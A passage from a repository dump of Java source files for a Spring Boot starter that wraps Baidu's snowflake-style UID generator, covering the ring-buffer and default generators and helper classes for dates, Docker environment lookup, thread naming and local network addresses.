<li><b>boostPower:</b> RingBuffer size boost for a power of 2, Sample: boostPower is 3, it means the buffer size \n *                        will be <code>({@link BitsAllocator#getMaxSequence()} + 1) &lt;&lt;\n *                        {@link #boostPower}</code>, Default as {@value #DEFAULT_BOOST_POWER}\n * <li><b>paddingFactor:</b> Represents a percent value of (0 - 100). When the count of rest available UIDs reach the \n *                           threshold, it will trigger padding buffer. Default as{@link RingBuffer#DEFAULT_PADDING_PERCENT}\n *                           Sample: paddingFactor=20, bufferSize=1000 -> threshold=1000 * 20 /100, padding buffer will be triggered when tail-cursor<threshold\n * <li><b>scheduleInterval:</b> Padding buffer in a schedule, specify padding buffer interval, Unit as second\n * <li><b>rejectedPutBufferHandler:</b> Policy for rejected put buffer. Default as discard put request, just do logging\n * <li><b>rejectedTakeBufferHandler:</b> Policy for rejected take buffer. Default as throwing up an exception\n * \n * \n */\npublic class CachedUidGenerator extends DefaultUidGenerator implements DisposableBean {\n    private static final Logger LOGGER = LoggerFactory.getLogger(CachedUidGenerator.class);\n    private static final int DEFAULT_BOOST_POWER = 3;\n\n    /** Spring properties */\n    private int boostPower = DEFAULT_BOOST_POWER;\n    private int paddingFactor = RingBuffer.DEFAULT_PADDING_PERCENT;\n    private Long scheduleInterval;\n    \n    private RejectedPutBufferHandler rejectedPutBufferHandler;\n    private RejectedTakeBufferHandler rejectedTakeBufferHandler;\n\n    /** RingBuffer */\n    private RingBuffer ringBuffer;\n    private BufferPaddingExecutor bufferPaddingExecutor;\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        // initialize workerId & bitsAllocator\n        super.afterPropertiesSet();\n        \n        // initialize RingBuffer & RingBufferPaddingExecutor\n        this.initRingBuffer();\n        LOGGER.info(\"Initialized RingBuffer successfully.\");\n    }\n    \n    @Override\n    public long getUID() {\n        try {\n            return ringBuffer.take();\n        } catch (Exception e) {\n            LOGGER.error(\"Generate unique id exception. \", e);\n            throw new UidGenerateException(e);\n        }\n    }\n\n    @Override\n    public String parseUID(long uid) {\n        return super.parseUID(uid);\n    }\n    \n    @Override\n    public void destroy() throws Exception {\n        bufferPaddingExecutor.shutdown();\n    }\n\n    /**\n     * Get the UIDs in the same specified second under the max sequence\n     * \n     * @param currentSecond\n     * @return UID list, size of {@link BitsAllocator#getMaxSequence()} + 1\n     */\n    protected List<Long> nextIdsForOneSecond(long currentSecond) {\n        // Initialize result list size of (max sequence + 1)\n        int listSize = (int) bitsAllocator.getMaxSequence() + 1;\n        List<Long> uidList = new ArrayList<>(listSize);\n\n        // Allocate the first sequence of the second, the others can be calculated with the offset\n        long firstSeqUid = bitsAllocator.allocate(currentSecond - epochSeconds, workerId, 0L);\n        for (int offset = 0; offset < listSize; offset++) {\n            uidList.add(firstSeqUid + offset);\n        }\n\n        return uidList;\n    }\n    \n    /**\n     * Initialize RingBuffer & RingBufferPaddingExecutor\n     */\n    private void initRingBuffer() {\n        // initialize RingBuffer\n        int bufferSize = ((int) bitsAllocator.getMaxSequence() + 1) << boostPower;\n        this.ringBuffer = new RingBuffer(bufferSize, paddingFactor);\n        LOGGER.info(\"Initialized ring buffer size:{}, paddingFactor:{}\", bufferSize, paddingFactor);\n\n        // initialize RingBufferPaddingExecutor\n        boolean usingSchedule = (scheduleInterval != null);\n        this.bufferPaddingExecutor = new BufferPaddingExecutor(ringBuffer, this::nextIdsForOneSecond, usingSchedule);\n        if (usingSchedule) {\n            bufferPaddingExecutor.setScheduleInterval(scheduleInterval);\n        }\n        \n        LOGGER.info(\"Initialized BufferPaddingExecutor. Using schdule:{}, interval:{}\", usingSchedule, scheduleInterval);\n        \n        // set rejected put/take handle policy\n        this.ringBuffer.setBufferPaddingExecutor(bufferPaddingExecutor);\n        if (rejectedPutBufferHandler != null) {\n            this.ringBuffer.setRejectedPutHandler(rejectedPutBufferHandler);\n        }\n        if (rejectedTakeBufferHandler != null) {\n            this.ringBuffer.setRejectedTakeHandler(rejectedTakeBufferHandler);\n        }\n        \n        // fill in all slots of the RingBuffer\n        bufferPaddingExecutor.paddingBuffer();\n        \n        // start buffer padding threads\n        bufferPaddingExecutor.start();\n    }\n\n    /**\n     * Setters for spring property\n     */\n    public void setBoostPower(int boostPower) {\n        Assert.isTrue(boostPower > 0, \"Boost power must be positive!\");\n        this.boostPower = boostPower;\n    }\n    \n    public void setRejectedPutBufferHandler(RejectedPutBufferHandler rejectedPutBufferHandler) {\n        Assert.notNull(rejectedPutBufferHandler, \"RejectedPutBufferHandler can't be null!\");\n        this.rejectedPutBufferHandler = rejectedPutBufferHandler;\n    }\n\n    public void setRejectedTakeBufferHandler(RejectedTakeBufferHandler rejectedTakeBufferHandler) {\n        Assert.notNull(rejectedTakeBufferHandler, \"RejectedTakeBufferHandler can't be null!\");\n        this.rejectedTakeBufferHandler = rejectedTakeBufferHandler;\n    }\n\n    public void setScheduleInterval(long scheduleInterval) {\n        Assert.isTrue(scheduleInterval > 0, \"Schedule interval must positive!\");\n        this.scheduleInterval = scheduleInterval;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/impl/DefaultUidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.impl;\n\nimport io.github.wujun728.uidgenerator.BitsAllocator;\nimport io.github.wujun728.uidgenerator.UidGenerator;\nimport io.github.wujun728.uidgenerator.exception.UidGenerateException;\nimport io.github.wujun728.uidgenerator.utils.DateUtils;\nimport io.github.wujun728.uidgenerator.worker.WorkerIdAssigner;\nimport org.apache.commons.lang.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.InitializingBean;\n\nimport java.util.Date;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Represents an implementation of {@link UidGenerator}\n *\n * The unique id has 64bits (long), default allocated as blow:<br>\n * <li>sign: The highest bit is 0\n * <li>delta seconds: The next 28 bits, represents delta seconds since a customer epoch(2016-05-20 00:00:00.000).\n *                    Supports about 8.7 years until to 2024-11-20 21:24:16\n * <li>worker id: The next 22 bits, represents the worker's id which assigns based on database, max id is about 420W\n * <li>sequence: The next 13 bits, represents a sequence within the same second, max for 8192/s<br><br>\n *\n * The {@link DefaultUidGenerator#parseUID(long)} is a tool method to parse the bits\n *\n * <pre>{@code\n * +------+----------------------+----------------+-----------+\n * | sign |     delta seconds    | worker node id | sequence  |\n * +------+----------------------+----------------+-----------+\n *   1bit          28bits              22bits         13bits\n * }</pre>\n *\n * You can also specified the bits by Spring property setting.\n * <li>timeBits: default as 28\n * <li>workerBits: default as 22\n * <li>seqBits: default as 13\n * <li>epochStr: Epoch date string format 'yyyy-MM-dd'. Default as '2016-05-20'<p>\n *\n * <b>Note that:</b> The total bits must be 64 -1\n *\n * \n */\npublic class DefaultUidGenerator implements UidGenerator, InitializingBean {\n    private static final Logger LOGGER = LoggerFactory.getLogger(DefaultUidGenerator.class);\n\n    /** Bits allocate */\n    protected int timeBits = 28;\n    protected int workerBits = 22;\n    protected int seqBits = 13;\n\n    /** Customer epoch, unit as second. For example 2016-05-20 (ms: 1463673600000)*/\n    protected String epochStr = \"2016-05-20\";\n    protected long epochSeconds = TimeUnit.MILLISECONDS.toSeconds(1463673600000L);\n\n    /** Stable fields after spring bean initializing */\n    protected BitsAllocator bitsAllocator;\n    protected long workerId;\n\n    /** Volatile fields caused by nextId() */\n    protected long sequence = 0L;\n    protected long lastSecond = -1L;\n\n    /** Spring property */\n    protected WorkerIdAssigner workerIdAssigner;\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        // initialize bits allocator\n        bitsAllocator = new BitsAllocator(timeBits, workerBits, seqBits);\n\n        // initialize worker id\n        workerId = workerIdAssigner.assignWorkerId();\n        if (workerId > bitsAllocator.getMaxWorkerId()) {\n            throw new RuntimeException(\"Worker id \" + workerId + \" exceeds the max \" + bitsAllocator.getMaxWorkerId());\n        }\n\n        LOGGER.info(\"Initialized bits(1, {}, {}, {}) for workerID:{}\", timeBits, workerBits, seqBits, workerId);\n    }\n\n    @Override\n    public long getUID() throws UidGenerateException {\n        try {\n            return nextId();\n        } catch (Exception e) {\n            LOGGER.error(\"Generate unique id exception. \", e);\n            throw new UidGenerateException(e);\n        }\n    }\n\n    @Override\n    public String parseUID(long uid) {\n        long totalBits = BitsAllocator.TOTAL_BITS;\n        long signBits = bitsAllocator.getSignBits();\n        long timestampBits = bitsAllocator.getTimestampBits();\n        long workerIdBits = bitsAllocator.getWorkerIdBits();\n        long sequenceBits = bitsAllocator.getSequenceBits();\n\n        // parse UID\n        long sequence = (uid << (totalBits - sequenceBits)) >>> (totalBits - sequenceBits);\n        long workerId = (uid << (timestampBits + signBits)) >>> (totalBits - workerIdBits);\n        long deltaSeconds = uid >>> (workerIdBits + sequenceBits);\n\n        Date thatTime = new Date(TimeUnit.SECONDS.toMillis(epochSeconds + deltaSeconds));\n        String thatTimeStr = DateUtils.formatByDateTimePattern(thatTime);\n\n        // format as string\n        return String.format(\"{\\\"UID\\\":\\\"%d\\\",\\\"timestamp\\\":\\\"%s\\\",\\\"workerId\\\":\\\"%d\\\",\\\"sequence\\\":\\\"%d\\\"}\",\n                uid, thatTimeStr, workerId, sequence);\n    }\n\n    /**\n     * Get UID\n     *\n     * @return UID\n     * @throws UidGenerateException in the case: Clock moved backwards; Exceeds the max timestamp\n     */\n    protected synchronized long nextId() {\n        long currentSecond = getCurrentSecond();\n\n        // Clock moved backwards, refuse to generate uid\n        if (currentSecond < lastSecond) {\n            long refusedSeconds = lastSecond - currentSecond;\n            throw new UidGenerateException(\"Clock moved backwards. Refusing for %d seconds\", refusedSeconds);\n        }\n\n        // At the same second, increase sequence\n        if (currentSecond == lastSecond) {\n            sequence = (sequence + 1) & bitsAllocator.getMaxSequence();\n            // Exceed the max sequence, we wait the next second to generate uid\n            if (sequence == 0) {\n                currentSecond = getNextSecond(lastSecond);\n            }\n\n        // At the different second, sequence restart from zero\n        } else {\n            sequence = 0L;\n        }\n\n        lastSecond = currentSecond;\n\n        // Allocate bits for UID\n        return bitsAllocator.allocate(currentSecond - epochSeconds, workerId, sequence);\n    }\n\n    /**\n     * Get next millisecond\n     */\n    private long getNextSecond(long lastTimestamp) {\n        long timestamp = getCurrentSecond();\n        while (timestamp <= lastTimestamp) {\n            timestamp = getCurrentSecond();\n        }\n\n        return timestamp;\n    }\n\n    /**\n     * Get current second\n     */\n    private long getCurrentSecond() {\n        long currentSecond = TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis());\n        if (currentSecond - epochSeconds > bitsAllocator.getMaxDeltaSeconds()) {\n            throw new UidGenerateException(\"Timestamp bits is exhausted. Refusing UID generate. Now: \" + currentSecond);\n        }\n\n        return currentSecond;\n    }\n\n    /**\n     * Setters for spring property\n     */\n    public void setWorkerIdAssigner(WorkerIdAssigner workerIdAssigner) {\n        this.workerIdAssigner = workerIdAssigner;\n    }\n\n    public void setTimeBits(int timeBits) {\n        if (timeBits > 0) {\n            this.timeBits = timeBits;\n        }\n    }\n\n    public void setWorkerBits(int workerBits) {\n        if (workerBits > 0) {\n            this.workerBits = workerBits;\n        }\n    }\n\n    public void setSeqBits(int seqBits) {\n        if (seqBits > 0) {\n            this.seqBits = seqBits;\n        }\n    }\n\n    public void setEpochStr(String epochStr) {\n        if (StringUtils.isNotBlank(epochStr)) {\n            this.epochStr = epochStr;\n            this.epochSeconds = TimeUnit.MILLISECONDS.toSeconds(DateUtils.parseByDayPattern(epochStr).getTime());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/DateUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport org.apache.commons.lang.time.DateFormatUtils;\n\nimport java.text.ParseException;\nimport java.util.Calendar;\nimport java.util.Date;\n\n/**\n * DateUtils provides date formatting, parsing\n *\n * \n */\npublic abstract class DateUtils extends org.apache.commons.lang.time.DateUtils {\n    /**\n     * Patterns\n     */\n    public static final String DAY_PATTERN = \"yyyy-MM-dd\";\n    public static final String DATETIME_PATTERN = \"yyyy-MM-dd HH:mm:ss\";\n    public static final String DATETIME_MS_PATTERN = \"yyyy-MM-dd HH:mm:ss.SSS\";\n\n    public static final Date DEFAULT_DATE = DateUtils.parseByDayPattern(\"1970-01-01\");\n\n    /**\n     * Parse date by 'yyyy-MM-dd' pattern\n     *\n     * @param str\n     * @return\n     */\n    public static Date parseByDayPattern(String str) {\n        return parseDate(str, DAY_PATTERN);\n    }\n\n    /**\n     * Parse date by 'yyyy-MM-dd HH:mm:ss' pattern\n     *\n     * @param str\n     * @return\n     */\n    public static Date parseByDateTimePattern(String str) {\n        return parseDate(str, DATETIME_PATTERN);\n    }\n\n    /**\n     * Parse date without Checked exception\n     *\n     * @param str\n     * @param pattern\n     * @return\n     * @throws RuntimeException when ParseException occurred\n     */\n    public static Date parseDate(String str, String pattern) {\n        try {\n            return parseDate(str, new String[]{pattern});\n        } catch (ParseException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    /**\n     * Format date into string\n     *\n     * @param date\n     * @param pattern\n     * @return\n     */\n    public static String formatDate(Date date, String pattern) {\n        return DateFormatUtils.format(date, pattern);\n    }\n\n    /**\n     * Format date by 'yyyy-MM-dd' pattern\n     *\n     * @param date\n     * @return\n     */\n    public static String formatByDayPattern(Date date) {\n        if (date != null) {\n            return DateFormatUtils.format(date, DAY_PATTERN);\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * Format date by 'yyyy-MM-dd HH:mm:ss' pattern\n     *\n     * @param date\n     * @return\n     */\n    public static String formatByDateTimePattern(Date date) {\n        return DateFormatUtils.format(date, DATETIME_PATTERN);\n    }\n\n    /**\n     * Get current day using format date by 'yyyy-MM-dd HH:mm:ss' pattern\n     *\n     * @return\n     */\n    public static String getCurrentDayByDayPattern() {\n        Calendar cal = Calendar.getInstance();\n        return formatByDayPattern(cal.getTime());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/DockerUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport org.apache.commons.lang.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * DockerUtils\n * \n * \n */\npublic abstract class DockerUtils {\n    private static final Logger LOGGER = LoggerFactory.getLogger(DockerUtils.class);\n\n    /** Environment param keys */\n    private static final String ENV_KEY_HOST = \"JPAAS_HOST\";\n    private static final String ENV_KEY_PORT = \"JPAAS_HTTP_PORT\";\n    private static final String ENV_KEY_PORT_ORIGINAL = \"JPAAS_HOST_PORT_8080\";\n\n    /** Docker host & port */\n    private static String DOCKER_HOST = \"\";\n    private static String DOCKER_PORT = \"\";\n\n    /** Whether is docker */\n    private static boolean IS_DOCKER;\n\n    static {\n        retrieveFromEnv();\n    }\n\n    /**\n     * Retrieve docker host\n     * \n     * @return empty string if not a docker\n     */\n    public static String getDockerHost() {\n        return DOCKER_HOST;\n    }\n\n    /**\n     * Retrieve docker port\n     * \n     * @return empty string if not a docker\n     */\n    public static String getDockerPort() {\n        return DOCKER_PORT;\n    }\n\n    /**\n     * Whether a docker\n     * \n     * @return\n     */\n    public static boolean isDocker() {\n        return IS_DOCKER;\n    }\n\n    /**\n     * Retrieve host & port from environment\n     */\n    private static void retrieveFromEnv() {\n        // retrieve host & port from environment\n        DOCKER_HOST = System.getenv(ENV_KEY_HOST);\n        DOCKER_PORT = System.getenv(ENV_KEY_PORT);\n\n        // not found from 'JPAAS_HTTP_PORT', then try to find from 'JPAAS_HOST_PORT_8080'\n        if (StringUtils.isBlank(DOCKER_PORT)) {\n            DOCKER_PORT = System.getenv(ENV_KEY_PORT_ORIGINAL);\n        }\n\n        boolean hasEnvHost = StringUtils.isNotBlank(DOCKER_HOST);\n        boolean hasEnvPort = StringUtils.isNotBlank(DOCKER_PORT);\n\n        // docker can find both host & port from environment\n        if (hasEnvHost && hasEnvPort) {\n            IS_DOCKER = true;\n\n            // found nothing means not a docker, maybe an actual machine\n        } else if (!hasEnvHost && !hasEnvPort) {\n            IS_DOCKER = false;\n\n        } else {\n            LOGGER.error(\"Missing host or port from env for Docker. host:{}, port:{}\", DOCKER_HOST, DOCKER_PORT);\n            throw new RuntimeException(\n                    \"Missing host or port from env for Docker. host:\" + DOCKER_HOST + \", port:\" + DOCKER_PORT);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/EnumUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport org.springframework.util.Assert;\n\n/**\n * EnumUtils provides the operations for {@link ValuedEnum} such as Parse, value of...\n * \n * \n */\npublic abstract class EnumUtils {\n\n    /**\n     * Parse the bounded value into ValuedEnum\n     * \n     * @param clz\n     * @param value\n     * @return\n     */\n    public static <T extends ValuedEnum<V>, V> T parse(Class<T> clz, V value) {\n        Assert.notNull(clz, \"clz can not be null\");\n        if (value == null) {\n            return null;\n        }\n\n        for (T t : clz.getEnumConstants()) {\n            if (value.equals(t.value())) {\n                return t;\n            }\n        }\n        return null;\n    }\n\n    /**\n     * Null-safe valueOf function\n     * \n     * @param <T>\n     * @param enumType\n     * @param name\n     * @return\n     */\n    public static <T extends Enum<T>> T valueOf(Class<T> enumType, String name) {\n        if (name == null) {\n            return null;\n        }\n\n        return Enum.valueOf(enumType, name);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/NamingThreadFactory.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport org.apache.commons.lang.ClassUtils;\nimport org.apache.commons.lang.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.lang.Thread.UncaughtExceptionHandler;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Named thread in ThreadFactory. If there is no specified name for thread, it\n * will auto detect using the invoker classname instead.\n * \n * \n */\npublic class NamingThreadFactory implements ThreadFactory {\n    private static final Logger LOGGER = LoggerFactory.getLogger(NamingThreadFactory.class);\n\n    /**\n     * Thread name pre\n     */\n    private String name;\n    /**\n     * Is daemon thread\n     */\n    private boolean daemon;\n    /**\n     * UncaughtExceptionHandler\n     */\n    private UncaughtExceptionHandler uncaughtExceptionHandler;\n    /**\n     * Sequences for multi thread name prefix\n     */\n    private final ConcurrentHashMap<String, AtomicLong> sequences;\n\n    /**\n     * Constructors\n     */\n    public NamingThreadFactory() {\n        this(null, false, null);\n    }\n\n    public NamingThreadFactory(String name) {\n        this(name, false, null);\n    }\n\n    public NamingThreadFactory(String name, boolean daemon) {\n        this(name, daemon, null);\n    }\n\n    public NamingThreadFactory(String name, boolean daemon, UncaughtExceptionHandler handler) {\n        this.name = name;\n        this.daemon = daemon;\n        this.uncaughtExceptionHandler = handler;\n        this.sequences = new ConcurrentHashMap<String, AtomicLong>();\n    }\n\n    @Override\n    public Thread newThread(Runnable r) {\n        Thread thread = new Thread(r);\n        thread.setDaemon(this.daemon);\n\n        // If there is no specified name for thread, it will auto detect using the invoker classname instead.\n        // Notice that auto detect may cause some performance overhead\n        String prefix = this.name;\n        if (StringUtils.isBlank(prefix)) {\n            prefix = getInvoker(2);\n        }\n        thread.setName(prefix + \"-\" + getSequence(prefix));\n\n        // no specified uncaughtExceptionHandler, just do logging.\n        if (this.uncaughtExceptionHandler != null) {\n            thread.setUncaughtExceptionHandler(this.uncaughtExceptionHandler);\n        } else {\n            thread.setUncaughtExceptionHandler(new UncaughtExceptionHandler() {\n                public void uncaughtException(Thread t, Throwable e) {\n                    LOGGER.error(\"unhandled exception in thread: \" + t.getId() + \":\" + t.getName(), e);\n                }\n            });\n        }\n\n        return thread;\n    }\n\n    /**\n     * Get the method invoker's class name\n     * \n     * @param depth\n     * @return\n     */\n    private String getInvoker(int depth) {\n        Exception e = new Exception();\n        StackTraceElement[] stes = e.getStackTrace();\n        if (stes.length > depth) {\n            return ClassUtils.getShortClassName(stes[depth].getClassName());\n        }\n        return getClass().getSimpleName();\n    }\n\n    /**\n     * Get sequence for different naming prefix\n     * \n     * @param invoker\n     * @return\n     */\n    private long getSequence(String invoker) {\n        AtomicLong r = this.sequences.get(invoker);\n        if (r == null) {\n            r = new AtomicLong(0);\n            AtomicLong previous = this.sequences.putIfAbsent(invoker, r);\n            if (previous != null) {\n                r = previous;\n            }\n        }\n\n        return r.incrementAndGet();\n    }\n\n    /**\n     * Getters & Setters\n     */\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public boolean isDaemon() {\n        return daemon;\n    }\n\n    public void setDaemon(boolean daemon) {\n        this.daemon = daemon;\n    }\n\n    public UncaughtExceptionHandler getUncaughtExceptionHandler() {\n        return uncaughtExceptionHandler;\n    }\n\n    public void setUncaughtExceptionHandler(UncaughtExceptionHandler handler) {\n        this.uncaughtExceptionHandler = handler;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/NetUtils.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.net.SocketException;\nimport java.util.Enumeration;\n\n/**\n * NetUtils\n * \n * \n */\npublic abstract class NetUtils {\n\n    /**\n     * Pre-loaded local address\n     */\n    public static InetAddress localAddress;\n\n    static {\n        try {\n            localAddress = getLocalInetAddress();\n        } catch (SocketException e) {\n            throw new RuntimeException(\"fail to get local ip.\");\n        }\n    }\n\n    /**\n     * Retrieve the first validated local ip address(the Public and LAN ip addresses are validated).\n     *\n     * @return the local address\n     * @throws SocketException the socket exception\n     */\n    public static InetAddress getLocalInetAddress() throws SocketException {\n        // enumerates all network interfaces\n        Enumeration<NetworkInterface> enu = NetworkInterface.getNetworkInterfaces();\n\n        while (enu.hasMoreElements()) {\n            NetworkInterface ni = enu.nextElement();\n            if (ni.isLoopback()) {\n                continue;\n            }\n\n            Enumeration<InetAddress> addressEnumeration = ni.getInetAddresses();\n            while (addressEnumeration.hasMoreElements()) {\n                InetAddress address = addressEnumeration.nextElement();\n\n                // ignores all invalidated addresses\n                if (address.isLinkLocalAddress() || address.isLoopbackAddress() || address.isAnyLocalAddress()) {\n                    continue;\n                }\n\n                return address;\n            }\n        }\n\n        throw new RuntimeException(\"No validated local address!\");\n    }\n\n    /**\n     * Retrieve local address\n     * \n     * @return the string local address\n     */\n    public static String getLocalAddress() {\n        return localAddress.getHostAddress();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/PaddedAtomicLong.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Represents a padded {@link AtomicLong} to prevent the FalseSharing problem<p>\n * \n * The CPU cache line commonly be 64 bytes, here is a sample of cache line after padding:<br>\n * 64 bytes = 8 bytes (object reference) + 6 * 8 bytes (padded long) + 8 bytes (a long value)\n * \n * \n */\npublic class PaddedAtomicLong extends AtomicLong {\n    private static final long serialVersionUID = -3415778863941386253L;\n\n    /** Padded 6 long (48 bytes) */\n    public volatile long p1, p2, p3, p4, p5, p6 = 7L;\n\n    /**\n     * Constructors from {@link AtomicLong}\n     */\n    public PaddedAtomicLong() {\n        super();\n    }\n\n    public PaddedAtomicLong(long initialValue) {\n        super(initialValue);\n    }\n\n    /**\n     * To prevent GC optimizations for cleaning unused padded references\n     */\n    public long sumPaddingToPreventOptimization() {\n        return p1 + p2 + p3 + p4 + p5 + p6;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/utils/ValuedEnum.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.utils;\n\n/**\n * {@code ValuedEnum} defines an enumeration which is bounded to a value, you\n * may implements this interface when you defines such kind of enumeration, that\n * you can use {@link EnumUtils} to simplify parse and valueOf operation.\n *  \n * \n */\npublic interface ValuedEnum<T> {\n    T value();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/worker/DisposableWorkerIdAssigner.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.worker;\n\n//import com.baidu.fsg.uid.worker.dao.WorkerNodeDAO;\nimport cn.hutool.extra.spring.SpringUtil;\nimport io.github.wujun728.uidgenerator.utils.DockerUtils;\nimport io.github.wujun728.uidgenerator.utils.NetUtils;\nimport io.github.wujun728.uidgenerator.worker.entity.WorkerNodeEntity;\nimport io.github.wujun728.uidgenerator.worker.repository.WorkerNodeResposity;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang.math.RandomUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport 